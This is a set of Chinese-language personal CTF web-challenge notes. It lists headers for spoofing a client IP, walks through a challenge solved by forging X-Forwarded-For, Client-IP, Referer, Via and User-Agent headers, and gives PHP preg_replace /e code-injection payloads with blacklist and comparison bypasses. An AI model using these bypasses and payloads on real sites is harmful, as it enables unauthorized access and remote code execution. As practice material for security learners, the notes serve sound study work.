杂乱的知识
js前端
打开网页源代码,找到.js文件,之后Ctrl+f查找alert,把代码放到控制台执行,即可得到以弹唱新式出现的flag
本地ip的写法
由于他是一个回环的写法,所以他的写法有很多种
127.0.0.1127.0.1.1123.1.1.1127.0.1.0127.0127.1
所有伪造IP的方法
X-Forwarded: 127.0.0.1Forwarded-For: 127.0.0.1Forwarded: 127.0.0.1X-Requested-With: 127.0.0.1X-Forwarded-Proto: 127.0.0.1X-Forwarded-Host: 127.0.0.1X-remote-IP: 127.0.0.1X-remote-addr: 127.0.0.1True-Client-IP: 127.0.0.1X-Client-IP: 127.0.0.1Client-IP: 127.0.0.1X-Real-IP: 127.0.0.1Ali-CDN-Real-IP: 127.0.0.1Cdn-Src-Ip: 127.0.0.1Cdn-Real-Ip: 127.0.0.1CF-Connecting-IP: 127.0.0.1X-Cluster-Client-IP: 127.0.0.1WL-Proxy-Client-IP: 127.0.0.1Proxy-Client-IP: 127.0.0.1Fastly-Client-Ip: 127.0.0.1True-Client-Ip: 127.0.0.1X-Originating-IP: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1
伪造ip
client-ip: 127.0.0.1
x-forwarded-for: 127.0.0.1
进去显示只允许本地访问
请求头写 x-forwarded-for: 127.0.0.1
被嘲讽
换一种 client-ip: 127.0.0.1
执行显示 You are not from pornhub.com !
请求头写 referer: pornhub.com
执行显示 不开代理你想上p站? 代理服务器地址是Clash.win
请求头写 via: Clash.win
执行显示 用Chrome浏览器啊!
请求头写 user-agent: Chrome
执行显示 借一步说话—>> /wtfwtfwtfwtf.php
进入wtfwtfwtfwtf.php
F12 看到sejishikong.php
进入sejishikong.php 获得f14g
查看页面源码
鼠标右键->无用->ctrl+u->无用->ctrl+s下载页面用编译器打开
或者找一个在线查看源码的工具
e模式的正则匹配
1 |
|
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的
上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义
这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便理解。官方 payload 为: /?.*={${phpinfo()}}
原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value); 变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});
由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效
绕过方法:\S=${phpinfo()}*
参考文章https://xz.aliyun.com/t/2557
强比较也可以用数组绕过(没有md5,有的话好像使要碰撞出来,去网上搜现成的)
在蚁剑上面找不到flag可以考虑是不是在phpinfo里面
$_SERVER[“QUERY_STRING”]可以进行url编码,绕过黑名单的检测。因为$_SERVER[“QUERY_STRING”]不会url解码
HTTP协议
PUT方法表示上传文件
POST表示传输变量
DELETE表示删除文件
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/gtpggr32p8glto1w
语雀文档ID: 136495365